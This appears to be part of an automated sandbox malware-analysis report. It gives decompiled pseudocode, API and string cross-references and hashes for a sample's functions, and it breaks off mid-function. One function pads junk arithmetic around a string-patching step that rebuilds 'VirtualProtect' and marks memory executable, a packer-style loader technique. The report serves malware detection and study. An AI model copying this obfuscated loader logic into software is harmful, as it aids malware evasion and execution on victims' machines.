Instruction Fuzzy Hash: F6A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC77, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041CC77() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x44d2b4 > 0) {
					_t112 =  *0x44d2b4; // 0x0
					_t188 =  *0x44d29c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x44d29c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x44d29c = _t170;
					} else {
						if(E0041E070() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041F590();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x44d29c = 0;
					}
				}
				_t79 =  *0x43d1c0; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x43d1c4 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x43d1c4; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x43d828 == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x43d1b8; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00428440(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00428380(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x43d1c0; // 0x34
							_t123 = _t122 + 1;
							 *0x43d1c0 = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x44d294 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x44d294 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x44d294 = 0xffffffff;
								} else {
									_t159 =  *0x44d294; // 0x3852
									 *0x44d294 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x44d2ac; // 0x1fca
								 *0x44d2ac = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x44d2ac; // 0x1fca
								__eflags = _t126 -  *0x44d2a0; // 0x25ee
								if(__eflags > 0) {
									_t158 =  *0x44d2ac; // 0x1fca
									 *0x44d2a0 = _t158;
								}
								__eflags =  *0x44d2a4;
								if( *0x44d2a4 == 0) {
									 *0x44d298 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x44d2a4; // 0x5818f8
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x44d2a4; // 0x5818f8
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x44d2a4 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041BED0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x43d1c8 & 0x000000ff, 4);
							E0041BED0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x43d1c8 & 0x000000ff, 4);
							E0041BED0(_t171,  *(_t175 - 0x24) + 0x20,  *0x43d1cb & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00428440(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041CFC0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x43d828(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00428440(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00428440(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041cc77
0x0041cc7a
0x0041cc88
0x0041cc8a
0x0041cc92
0x0041cc98
0x0041ccd0
0x0041ccd6
0x0041ccd6
0x0041ccd9
0x0041cc9a
0x0041cca1
0x0041cca3
0x0041cca8
0x0041ccaa
0x0041ccaf
0x0041ccb4
0x0041ccb6
0x0041ccbb
0x0041ccc1
0x0041ccc3
0x0041ccc3
0x0041ccc1
0x0041ccc4
0x0041ccc4
0x0041cc98
0x0041ccdf
0x0041cce4
0x0041ccee
0x0041ccf3
0x0041ccf9
0x0041ccfb
0x0041ccfb
0x0041ccf9
0x0041cd03
0x0041cd7a
0x0041cd83
0x0041cd86
0x0041cd88
0x0041cd8d
0x0041cd90
0x0041cd92
0x0041cd92
0x0041cd90
0x0041cd99
0x0041cd9d
0x0041cdd5
0x0041cdd8
0x0041cdda
0x0041cdde
0x0041cde9
0x0041cdec
0x0041cdee
0x0041cdf2
0x0041ce06
0x0041ce0b
0x0041ce0e
0x0041ce11
0x0041ce13
0x0041ce13
0x0041ce11
0x0041cdf2
0x0041cdec
0x0041cdde
0x0041ce1a
0x0041ce21
0x0041ce29
0x0041ce2c
0x0041ce30
0x0041ce40
0x0041ce46
0x0041ce49
0x0041ce4f
0x0041ce53
0x0041cea7
0x0041ceaa
0x0041cebd
0x0041ceac
0x0041ceac
0x0041ceb5
0x0041ceb5
0x0041cec7
0x0041cecf
0x0041ced4
0x0041ceda
0x0041cee0
0x0041cee2
0x0041cee8
0x0041cee8
0x0041ceee
0x0041cef5
0x0041cf07
0x0041cef7
0x0041cef7
0x0041ceff
0x0041ceff
0x0041cf10
0x0041cf16
0x0041cf1b
0x0041cf28
0x0041cf31
0x0041cf3a
0x0041cf43
0x0041cf4c
0x0041cf52
0x0041ce55
0x0041ce58
0x0041ce61
0x0041ce6b
0x0041ce75
0x0041ce82
0x0041ce88
0x0041ce92
0x0041ce92
0x0041cf69
0x0041cf86
0x0041cfa1
0x0041cfac
0x0041cfac
0x0041cfaf
0x0041ce32
0x0041ce35
0x0041ce35
0x0041cd9f
0x0041cdb0
0x0041cdb8
0x0041cdbb
0x0041cdbd
0x0041cdbd
0x0041cdc1
0x0041cdc1
0x0041cfb2
0x0041cfb2
0x0041cfb9
0x0041cfd1
0x0041cfdf
0x0041cfdf
0x0041cd1d
0x0041cd23
0x0041cd28
0x00000000
0x00000000
0x0041cd2e
0x0041cd67
0x0041cd6f
0x0041cd72
0x0041cd74
0x0041cd74
0x0041cd75
0x00000000
0x0041cd75
0x0041cd33
0x0041cd50
0x0041cd52
0x0041cd52
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041CC9A
__heap_alloc_base.LIBCMTD ref: 0041CE21
_memset.LIBCMT ref: 0041CF69
_memset.LIBCMT ref: 0041CF86
_memset.LIBCMT ref: 0041CFA1

Strings

Error: memory allocation: bad memory block type., xrefs: 0041CDF4
Client hook allocation failure., xrefs: 0041CD55
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CCAF
_CrtCheckMemory(), xrefs: 0041CCA3
Invalid allocation size: %Iu bytes., xrefs: 0041CDA3
Client hook allocation failure at file %hs line %d., xrefs: 0041CD38

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 42b941773d8ab045ccb39c7ef9aeb1dc648dcf9082a21e2f8c3dc418a71e145e
Instruction ID: c38127e2d1b8b688f3f68b7a9cd2f767accb7d5fbd7cb4bc23e06edcda54e45d
Opcode Fuzzy Hash: 42b941773d8ab045ccb39c7ef9aeb1dc648dcf9082a21e2f8c3dc418a71e145e
Instruction Fuzzy Hash: 5AA15B78A402059FDB14DF44ED81BEA77B1FB48314F20816AE9096B391D3B5AD81CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041A014, Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A014(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, void* _a36, intOrPtr _a40, void* _a64, intOrPtr _a84, intOrPtr _a92, intOrPtr _a100, intOrPtr _a156, intOrPtr _a160, intOrPtr _a164, intOrPtr _a168, intOrPtr _a176, intOrPtr _a180, intOrPtr _a184, intOrPtr _a188, intOrPtr _a192, intOrPtr _a196, intOrPtr _a200, intOrPtr _a208, intOrPtr _a216, intOrPtr _a224, intOrPtr _a248, intOrPtr _a256, intOrPtr _a264, intOrPtr _a268, intOrPtr _a276, intOrPtr _a284, intOrPtr _a308, intOrPtr _a356, intOrPtr _a360, intOrPtr _a364, intOrPtr _a368, intOrPtr _a376, void* _a380, intOrPtr _a384, void* _a388, intOrPtr _a392, intOrPtr _a400, intOrPtr _a404, intOrPtr _a408, intOrPtr _a416, intOrPtr _a424, intOrPtr _a432, intOrPtr _a440, intOrPtr _a448, intOrPtr _a460, intOrPtr _a468, void* _a492, intOrPtr _a500, intOrPtr _a508, intOrPtr _a516, intOrPtr _a544, intOrPtr _a552, intOrPtr _a556, intOrPtr _a560, intOrPtr _a564, intOrPtr _a568, intOrPtr _a572, intOrPtr _a580, intOrPtr _a584, void* _a592, intOrPtr _a600, intOrPtr _a604, intOrPtr _a608, intOrPtr _a616, intOrPtr _a624, intOrPtr _a652, intOrPtr _a660, intOrPtr _a668, void* _a676, intOrPtr _a700, intOrPtr _a704, intOrPtr _a708, intOrPtr _a712, void* _a720, intOrPtr _a740, void* _a756, intOrPtr _a796, intOrPtr _a812, intOrPtr _a840, intOrPtr _a844, intOrPtr _a848, intOrPtr _a856, intOrPtr _a860, intOrPtr _a864, intOrPtr _a880, intOrPtr _a888, intOrPtr _a892, intOrPtr _a896, intOrPtr _a904, intOrPtr _a916, intOrPtr _a940, intOrPtr _a948, intOrPtr _a956, intOrPtr _a960, intOrPtr _a968, intOrPtr _a984, intOrPtr _a988, intOrPtr _a996, intOrPtr _a1008, intOrPtr _a1012, intOrPtr _a1016, intOrPtr _a1024, intOrPtr _a1036, intOrPtr _a1060, intOrPtr _a1068, intOrPtr _a1096, intOrPtr _a1104, intOrPtr _a1108, intOrPtr _a1112, intOrPtr _a1116, intOrPtr _a1120, intOrPtr _a1132, intOrPtr _a1140, intOrPtr _a1144, intOrPtr _a1152, intOrPtr _a1156, intOrPtr _a1160, intOrPtr _a1188, intOrPtr _a1216, intOrPtr _a1224, intOrPtr _a1228, intOrPtr _a1232, intOrPtr _a1240, intOrPtr _a1248, intOrPtr _a1256, intOrPtr _a1260, intOrPtr _a1272, intOrPtr _a1280, intOrPtr _a1284, intOrPtr _a1316) {
				int _t873;
				DWORD* _t927;

				_a224 = 0x2af06a43;
				_a1256 = 0x7374b303;
				_a284 = 0x5bc4a701;
				_a40 = 0x49139c63;
				_a864 = 0x74cb6ce2;
				_a1284 = 0x5ded0cc0;
				_a996 = 0x5dcd5be2;
				_a216 = 0x64031bd0;
				_a32 = 0x2d276eb8;
				_a568 = 0x2c59c4d0;
				_a1248 = 0x4f20af0e;
				_a1228 = 0x365c19ac;
				_a1108 = 0x7f535e31;
				_a384 = 0xdedcc97;
				_a968 = 0x7e0a7ced;
				_a208 = 0x687fa226;
				_a712 = 0x46f40653;
				_a1240 = 0x317ebda5;
				_a1232 = 0x56e7500d;
				_a844 = 0x6b33b020;
				_a24 = 0x366f6df3;
				_a92 = 0x32beea86;
				_a16 = 0x228d1197;
				_a8 = 0x7693296c;
				_a580 = 0x3b04cb38;
				_a856 = 0x4c011a5c;
				_a1060 = 0x244a45b6;
				_a376 = 0x48ea128;
				_a1120 = 0x261e5791;
				_a276 = 0x527c0faa;
				_a4 = 0x164ede6a;
				_a164 = 0xeff6b27;
				_a368 = 0x8200a32;
				_a948 = 0x24b90350;
				_a20 = 0x32627711;
				_a1012 = 0x60c84633;
				_a1224 = 0x2efddde7;
				_a572 = 0x43df52f7;
				_a364 = 0xf7a1ec1;
				_a1112 = 0x6d86c563;
				_a1132 = 0x66efffe0;
				_a560 = 0x45a58dc6;
				_a200 = 0x26c95977;
				_a796 = 0x5eea2f6b;
				_a704 = 0x366e5d79;
				_a660 = 0xd97024e;
				_a564 = 0x219e4665;
				_a740 = 0x5769e212;
				_a268 = 0x7f468728;
				_a192 = 0x34b8882e;
				_a468 = 0x37afd529;
				_a184 = 0x60dcc09d;
				_a176 = 0x1ca13abd;
				_a1216 = 0x6d9a90fb;
				_a1260 = 0x3574052d;
				_a1104 = 0x1586a809;
				_a892 = 0x4efa0c39;
				_a668 = 0x5687f46f;
				_a988 = 0x618934ef;
				_a460 = 0x68873377;
				_a12 = 0x7404d5d1;
				_a552 = 0x57a121ab;
				_a960 = 0x17aa24c0;
				_a940 = 0x25cb89cb;
				_a848 = 0x531bc81b;
				_a1156 = 0x639cc778;
				_a1188 = 0x205d653e;
				_a544 = 0x4e48f17c;
				_a652 = 0x5e0f6ffa;
				_a360 = 0x4393df35;
				_a840 = 0x40f13569;
				_a356 = 0x210b0adf;
				_a168 = 0x69c97e0e;
				_a84 = 0x7d8d0db1;
				_a156 = 0x3c11c155;
				_a160 = 0x775f088f;
				_a1096 = 0x106c3386;
				_a700 = 0x687a8d1a;
				_a556 = 0x7f0b5f93;
				_a1068 = _a1068 - 0x185b168d;
				_a1068 = _a1068 - 0x6c912c6c;
				_a448 = _a448 - 0x17f7c305;
				_a1024 = _a1024 - 0x67e2e549;
				_a916 = _a916 - 0x2bf52b48;
				_a1160 = _a1160 - 0x16e1b59f;
				_a1160 = _a1160 - 0x3942d78e;
				_a424 = _a424 - 0x3c31dc6d;
				_a916 = _a916 - 0x206fcf0;
				_a1068 = _a1068 + 0x462a15c5;
				_a1068 = _a1068 - 0x7fa0dc60;
				_a624 = _a624 + 0x12aa4ad1;
				_a1024 = _a1024 + 0x62157c4d;
				_a1068 = _a1068 - 0x35591a9c;
				_a516 = _a516 - 0x75a28f2;
				_a424 = _a424 + 0x52aee917;
				_a1024 = _a1024 - 0x243787a8;
				_a1152 = _a1152 - 0x4b1a50d9;
				_a432 = _a432 - 0x62c5a066;
				_a516 = _a516 - 0x28e9e75b;
				_a1152 = _a1152 - 0x46cc3ebc;
				_a440 = _a440 - 0x3ca60054;
				_a916 = _a916 - 0x6714650b;
				_a196 = _a196 + 0x2706d440;
				_a1024 = _a1024 - 0x608ee916;
				_a1024 = _a1024 + 0x20b6a50d;
				_a616 = _a616 - 0x7f2cf566;
				_a432 = _a432 - 0x16e243ac;
				_a604 = _a604 + 0x49f4a578;
				_a1160 = _a1160 + 0x68176734;
				_a916 = _a916 + 0x9cdac3;
				_a440 = _a440 + 0x25ce936;
				_a1016 = _a1016 + 0x163a22ac;
				_a440 = _a440 + 0x422c8364;
				_a432 = _a432 - 0x1113e9f7;
				_a1024 = _a1024 - 0x206e8e52;
				_a904 = _a904 + 0x2024de60;
				_a1068 = _a1068 + 0x7fcf4ce0;
				_a196 = _a196 - 0x81d68bc;
				_a424 = _a424 - 0x3daee9e8;
				_a608 = _a608 + 0xcb1bb09;
				_a888 = _a888 + 0x5d058387;
				_a1016 = _a1016 + 0x425bb182;
				_a1152 = _a1152 - 0x223f49dc;
				_a1272 = _a1272 - 0x3a973de6;
				_a904 = _a904 + 0x588dd233;
				_a416 = _a416 - 0x46ad44c4;
				_a256 = _a256 + 0x18ec1f3c;
				_a1144 = _a1144 + 0x11b4f3a1;
				_a508 = _a508 - 0x9360dfa;
				_a1280 = _a1280 + 0x3bc4850;
				_a264 = _a264 + 0x3fc32911;
				_a508 = _a508 - 0x5c7afcf4;
				_a1272 = _a1272 + 0x381fff7e;
				_a888 = _a888 - 0x5397bd3;
				_a1036 = _a1036 + 0x23d928b;
				_a860 = _a860 - 0x285cfe64;
				_a608 = _a608 + 0x2eb3a24e;
				_a904 = _a904 + 0x4ad506d2;
				_a256 = _a256 - 0x280ca9b1;
				_a1036 = _a1036 + 0x1d7da27a;
				_a404 = _a404 + 0x39ae4f86;
				_a196 = _a196 + 0x3bae3684;
				_a616 = _a616 + 0x319c6713;
				_a896 = _a896 - 0x5ee7d8f4;
				_a904 = _a904 + 0x7c8a205d;
				_a308 = _a308 + 0x8260d2e;
				_a440 = _a440 - 0x58badc6b;
				_a916 = _a916 + 0x5c251ab0;
				_a1016 = _a1016 + 0x26e7f284;
				_a812 = _a812 + 0x3622c198;
				_a624 = _a624 - 0x4331064d;
				_a180 = _a180 + 0x196ab841;
				_a1016 = _a1016 - 0x6ccd4fc1;
				_a1280 = _a1280 - 0x50573bc2;
				_a1116 = _a1116 - 0x4f724783;
				_a1160 = _a1160 + 0x1f392d37;
				_a1068 = _a1068 + 0x517d7f70;
				_a708 = _a708 + 0x4ea86d2;
				_a1116 = _a1116 - 0x337ac75d;
				_a584 = _a584 + 0x3ac533a0;
				_a608 = _a608 + 0x576c8f92;
				_a812 = _a812 - 0x73e959b4;
				_a1016 = _a1016 + 0x26052a49;
				_a608 = _a608 - 0x2a7f4b76;
				_a28 = _a28 - 0x28fec13f;
				_a1272 = _a1272 + 0x1f2a008d;
				_a432 = _a432 - 0x5809c051;
				_a616 = _a616 + 0x344abe69;
				_a880 = _a880 - 0x137c90f8;
				_a404 = _a404 + 0x48728065;
				_a1068 = _a1068 - 0x4546c3b4;
				_a1036 = _a1036 - 0xb09baff;
				_a188 = _a188 + 0x3a0cc1d4;
				_a1116 = _a1116 - 0x7cc685d;
				_a264 = _a264 - 0x74be053a;
				_a408 = _a408 + 0x6a633f02;
				_a416 = _a416 + 0x366d47a7;
				_a1008 = _a1008 - 0x18e5d8af;
				_a708 = _a708 + 0x2b8fa57e;
				_a1152 = _a1152 + 0x20189a7f;
				_a600 = _a600 - 0x294e8bba;
				_a984 = _a984 + 0x37c66b51;
				_a392 = _a392 - 0x4cf91d4f;
				_a100 = _a100 - 0x2916cd44;
				_a180 = _a180 + 0x56ca55d4;
				_a248 = _a248 + 0x3375cc;
				_a860 = _a860 - 0x2a04f1a5;
				_a404 = _a404 - 0x632009c5;
				_a1036 = _a1036 + 0xa72f039;
				_a100 = _a100 - 0x78260375;
				_a500 = _a500 - 0x763098cf;
				_a584 = _a584 - 0x79bac24c;
				_a432 = _a432 + 0x70b8e7e1;
				_a404 = _a404 - 0x7d372d81;
				_a1280 = _a1280 - 0x51506ada;
				_a616 = _a616 + 0x3d94dea1;
				_a1316 = _a1316 + 0x45eea711;
				_a400 = _a400 - 0x63444b19;
				_a500 = _a500 + 0x4cdfc47b;
				_a904 = _a904 + 0x1d1a1a26;
				_a860 = _a860 + 0x6733802c;
				_a1144 = _a1144 - 0x6a948b57;
				_a956 = _a956 + 0x757f7fb1;
				_a860 = _a860 + 0x58b237cf;
				_a904 = _a904 + 0xf2db373;
				_a516 = _a516 - 0x6d98dcdb;
				_a812 = _a812 - 0x37f41803;
				_a408 = _a408 + 0x3d1e63ca;
				_a1140 = _a1140 + 0x4e27d44e;
				_a1256 = _a1256 + 0x6ac6d77a;
				"VirtualProtect" = "VirtualProtect" + 0xf6;
				"rotect" = "rotect" + 0xf6;
				M0043E24C = 0x75;
				M0043E24E = 0x6c;
				 *0x43e253 = 0x65;
				 *0x43e254 = 0x63;
				M0043E24B = 0x74;
				 *0x43e252 = 0x74;
				"rtualProtect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t873 = VirtualProtect( *0x44987c,  *0x44d27c, 0x40, _t927); // executed
				return _t873;
			}

0x0041a014
0x0041a01f
0x0041a02a
0x0041a035
0x0041a03d
0x0041a048
0x0041a053
0x0041a05e
0x0041a069
0x0041a071
0x0041a07c
0x0041a087
0x0041a092
0x0041a09d
0x0041a0a8
0x0041a0b3
0x0041a0be
0x0041a0c9
0x0041a0d4
0x0041a0df
0x0041a0ea
0x0041a0f2
0x0041a0fa
0x0041a102
0x0041a10a
0x0041a115
0x0041a120
0x0041a12b
0x0041a136
0x0041a141
0x0041a14c
0x0041a154
0x0041a15f
0x0041a16a
0x0041a175
0x0041a17d
0x0041a188
0x0041a193
0x0041a19e
0x0041a1a9
0x0041a1b4
0x0041a1bf
0x0041a1ca
0x0041a1d5
0x0041a1e0
0x0041a1eb
0x0041a1f6
0x0041a201
0x0041a20c
0x0041a217
0x0041a222
0x0041a22d
0x0041a238
0x0041a243
0x0041a24e
0x0041a259
0x0041a264
0x0041a26f
0x0041a27a
0x0041a285
0x0041a290
0x0041a298
0x0041a2a3
0x0041a2ae
0x0041a2b9
0x0041a2c4
0x0041a2cf
0x0041a2da
0x0041a2e5
0x0041a2f0
0x0041a2fb
0x0041a306
0x0041a311
0x0041a31c
0x0041a324
0x0041a32f
0x0041a33a
0x0041a345
0x0041a350
0x0041a35b
0x0041a366
0x0041a371
0x0041a37c
0x0041a39a
0x0041a3a5
0x0041a3b0
0x0041a3e1
0x0041a3ec
0x0041a3f7
0x0041a415
0x0041a420
0x0041a42b
0x0041a436
0x0041a454
0x0041a45f
0x0041a46a
0x0041a495
0x0041a4a0
0x0041a4ab
0x0041a4b6
0x0041a4c1
0x0041a4cc
0x0041a4ea
0x0041a4f5
0x0041a500
0x0041a544
0x0041a54f
0x0041a55a
0x0041a565
0x0041a583
0x0041a58e
0x0041a599
0x0041a5b1
0x0041a5bc
0x0041a5c7
0x0041a5d2
0x0041a5dd
0x0041a5e8
0x0041a606
0x0041a611
0x0041a61c
0x0041a627
0x0041a632
0x0041a63d
0x0041a65b
0x0041a679
0x0041a6aa
0x0041a6b5
0x0041a6d3
0x0041a704
0x0041a70f
0x0041a71a
0x0041a725
0x0041a730
0x0041a761
0x0041a77f
0x0041a78a
0x0041a7a8
0x0041a7c6
0x0041a7d1
0x0041a7dc
0x0041a7e7
0x0041a7f2
0x0041a7fd
0x0041a808
0x0041a84c
0x0041a857
0x0041a862
0x0041a880
0x0041a89e
0x0041a8a9
0x0041a8b4
0x0041a8bf
0x0041a8ca
0x0041a8e8
0x0041a8f3
0x0041a937
0x0041a942
0x0041a94d
0x0041a958
0x0041a963
0x0041a96e
0x0041a979
0x0041a997
0x0041a9db
0x0041a9e3
0x0041a9ee
0x0041aa0c
0x0041aa17
0x0041aa22
0x0041aa4d
0x0041aa58
0x0041aa63
0x0041aa81
0x0041aa8c
0x0041aabd
0x0041aac8
0x0041aae6
0x0041aaf1
0x0041aafc
0x0041ab07
0x0041ab12
0x0041ab30
0x0041ab48
0x0041ab50
0x0041ab5b
0x0041ab66
0x0041ab71
0x0041ab7c
0x0041ab87
0x0041ab8f
0x0041ab9a
0x0041abb8
0x0041abd6
0x0041abe1
0x0041abec
0x0041ac0a
0x0041ac28
0x0041ac33
0x0041ac3e
0x0041ac49
0x0041ac54
0x0041ac5f
0x0041ac6a
0x0041ac75
0x0041ac80
0x0041ac8b
0x0041ac96
0x0041acb4
0x0041acbf
0x0041acca
0x0041acd1
0x0041ace4
0x0041acf1
0x0041acf8
0x0041acff
0x0041ad06
0x0041ad0d
0x0041ad14
0x0041ad1b
0x0041ad22
0x0041ad2e

APIs

VirtualProtect.KERNELBASE(00000040,5BC4A701,5BC4A701,?,7D372D81,3DAEE9E8,?,?,74BE053A,?,74BE053A,1F2A008D,?,?,?,?), ref: 0041AD22

Strings

|~, xrefs: 0041A0A8
T, xrefs: 0041A4C1
y]n6, xrefs: 0041A1E0
[(, xrefs: 0041A64D
Ig, xrefs: 0041A37C
PV, xrefs: 0041A0D4
>e] , xrefs: 0041A2CF
H/P, xrefs: 0041A666
k/^, xrefs: 0041A1D5

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ProtectVirtual
String ID: PV$>e] $Ig$T$[($k/^$y]n6$H/P$|~
API String ID: 544645111-1025370060
Opcode ID: ac5130d284bf128acf12fa02805bc77bca2782037849df2043bbb15f0866b033
Instruction ID: 9ac9be5b46f24a8e57e7e1047e3f1f3a73e5c0fc17dacf132ab9deffc0987ee1
Opcode Fuzzy Hash: ac5130d284bf128acf12fa02805bc77bca2782037849df2043bbb15f0866b033
Instruction Fuzzy Hash: 3E42D9B56093C18BD2B58F2AC5897CFF7E4BF99718F54890CE6C94A610DB3189858F0B

Uniqueness

Uniqueness Score: -1.00%

Function 0041C6C5, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041C6C5() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041C860();
				_t21 = E00428180(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041C830(0x1c);
					_t61 = _t61 + 4; // executed
				}
